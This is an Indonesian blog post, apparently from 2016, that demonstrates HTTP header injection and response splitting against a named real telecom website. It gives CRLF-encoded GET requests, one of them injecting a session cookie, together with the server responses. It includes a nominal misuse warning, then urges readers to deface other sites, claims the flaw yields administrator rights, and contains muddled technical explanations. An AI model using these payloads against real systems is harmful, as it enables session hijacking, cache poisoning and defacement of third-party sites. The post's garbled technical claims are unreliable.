Kamis, 26 Mei 2016

Http Header Injection And Response Splitting On Indosatooredoo

www.indoblog.me - Pada Kesempatan ini Kita akan bahas Http Header Injection And Response Splitting On Indosatooredoo yang artinya kita akan melakukan header injecton pada situs utama indosaatooredoo.com. yang dimana konsep yang pertamanya sudah saya bahas DISINI sebenarnya konsep konsep dasar dari header injection sudah sangat lama dijelaskan pada tahun tahun kebelakang.

Peringatan: Jangan menyalahgunakan tutorial karena pembahasan disini hanya sebagai bahan pelajaran dan bahan evaluasi saja.

TENTANG INDOSATOOREDOO


HTTP Respone Splitting Tutorial
indosatooredoo merupakan sebuah layanan operator sellular terbesar kedua di indonesia setelah telkomsel (menurut survey yang ada) yang dimana operator ini sudah berdiri sejak lama yang awalnya hanya INDOSAT dan sekarang berubah nama menjadi INDOSATOOREDOO , ooredoo itu sangat banyak jadi indosat menjalin kerjasama dengan pihak grup yang sudah tergabung dengan ooredoo , cerita singkatnya begitu saja untuk informasi lengkapnya bisa anda ketik kata kunci "OOREDOO" di google.

Baca Juga: Kantor Google Digerebek dan Disegel Polisi

Menurut Wikipedia: Indosat Ooredoo adalah salah satu perusahaan penyedia jasa telekomunikasi dan jaringan telekomunikasi di Indonesia, CEO: Alexander Rusli, Kantor Pusat: Kota Administrasi Jakarta Pusat, Jakarta, Indonesia, Harga saham: ISAT (IDX) Rp6.650 +100,00 (+1,53%), 26 Mei 11.59 WIB, Didirikan: 20 November 1967

DESCRIPTION OF THE ATTACK


HTTP Response injection merupakan konsep sederhana serangan membagi header menjadi 2 bagian dan kadang-kadang juga disebut sebagai model CRLF Injection dan merupakan serangan web yang cukup sederhana sekali namun hasilnya sangat kuat dan konsep HTTP Injection ini merupakan kerentanan aplikasi web yang dihasilkan dari kegagalan aplikasi yang bersangkutan maupun kegagalan dari sisi servernya.

Umumnya serangan ini menggunakan konsep dasar carriage return (CR, ASCII 0x0D) dan line feed (LF, ASCII 0x0A) atau buat carriage return (CR, #13#10, \r\n\, %0d%0a) dan buat line feed (LF, #10#13, \n\r\) yang dimana urut diikuti oleh konten yang disediakan oleh penyerang di bagian header dari respon dan biasanya dengan memasukkan payload dalam bidang masukan yang dikirim ke aplikasi dan jika penyerang bisa menyuntikkan karakter baris baru ke header maka tidak menutup kemungkinan dapat menyuntikkan header HTTP baru dan juga bisa dengan menyuntikkan baris kosong atau yang kita kenal dengan (Zero String), dan serangan ini keluar dari header dan masuk pada tubuh website dan sang penyerang akan menulis konten secara acak ke respon aplikasi, (BASH TO HEX). tetapi yang diakui oleh IBM (Siapa Yang Tidak Kenal Perusahaan IBM?) pada salah satu artikelnya bahwa kerentaana dari ilegal string berbahaya ada 5 mulai dari kode 10-15 yang dimana CR=13, LF=10 adalah 2 dari 5 Karakter berbahaya berdasarkan mesin * dan # yang dimana kode * bisa juga sebagai kode pertanyaan dan kode # bisa juga sebagai kode jawabannya tetapi itu juga tergantung system yang digunakannya dan tergantung aplikasi yang dipakainya karena untuk kode injection lainnya harus di sesuaikan dengan situasi dan kondisi saja.

Dengan exploting Injection memungkinkan eksploitasi kerentanan terhadap beberapa hal berikut ini: Cross Site Scripting vulnerabilities, Proxy and web server cache poisoning, Web site defacement, Hijacking the client’s session, Client web browser poisoning

PROOF OF CONCEPT 


Beberapa kerentanan exploitasi injection pada situs indosatooredoo.com yang datanya masih menggunakan yang kemaren diantaranya:

GET /id/personal/%0D%0AATTACK%0D%0A HTTP/1.1
Host: indosatooredoo.com
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 OPR/27.0.1689.76
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: ASP.NET_SessionId=xxx
X-Forwarded-For: 114.x.x.x,10.19.19.19
Connection: keep-alive


Itulah konsep requestnya yang dimana seorang client bisa memodifikasi dan melakukan serangan injection dan sekarang mari kita lihat hasil responenya:

HTTP/1.1 301 Moved Permanently
Cache-Control: private Content-Length: 4111
Content-Type: text/html; charset=utf-8
Location: https://indosatooredoo.com/id/personal/ATTACK/
Server: Microsoft-IIS/8.0 X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: *
X-Frame-Options: GOFORIT Date: Wed, 25 May 2016 16:29:27 GMT

Jika anda jeli dari hasil tersebut bahwa konten sebenarnya sudah dikendalikan oleh pengguna dan ini benar benar sangat berbahaya karena pengguna bisa mengendalikannya, kemudian jika seorang pengguna mulai melakukan injeksi data cookie dan serangan ini lebih fatal lagi karena bisa menyebabkan kerusakan dari sisi servernya secara langsung:

GET/id/personal/%0d%0aSet-ASP.NET_SessionId=xxx%3b%20Path%3D%2f%3b%0d%0a HTTP/1.1
Host: indosatooredoo.com
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36 OPR/27.0.1689.76
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: ASP.NET_SessionId=xxx
X-Forwarded-For: 114.x.x.x,10.19.19.19
Connection: keep-alive

Dan berikut adalah hasil responenya:

HTTP/1.1 301 Moved Permanently
Cache-Control: private Content-Length: 4111
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.0 X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: *
X-Frame-Options: GOFORIT Date: Wed, 25 May 2016 16:29:27 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>301 Moved Permanently</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=utf-8"></HEAD>
<BODY><h2>Moved Permanently</h2>
<hr><p>The document has moved <a href= "https://indosatooredoo.com/id/personal/" > ATTACK</p>
</BODY></HTML>

Beberapa Bagin penting tidak saya ikut sertakan pada demo diatas atau bahkan sebagian telah dihapus untuk menjaga keamanan dari website yang bersangkutan.

Yang dimana pada konsep diatas tidak bisa anda lakukan langsung di browser karena anda harus menggunakan agent yang sudah dipercaya oleh server, beberapa hal yang sangat pentingnya tidak saya ikut sertakan karena jika disalahgunakan bisa berbahaya, yang dimana konsep tersebut bisa anda gunakan untuk pengalihan aliran tcp/ip atau bahkan anda bisa melakukan DEFACE WEB karena anda punya hak administrator, tetapi hanya orang orang bodo yang sering melakukan deface terhadap situs situs milik pemerintah indonesia, kalau mau deface meningan kita ngedeface situs situs por*no yang merugikan generasi anak muda indonesia.

Ok Tulisan ini hanya sekedar iseng saja dan buat hiburan saja dan sekian dulu pelajaran tentang Http Header Injection And Response Splitting On Indosatooredoo semoga bermanfaat dan membantu dan atas kunjungannya kami ucapkan banyak terima kasih, wassalam dan selamat "MUNGGAHAN".


EmoticonEmoticon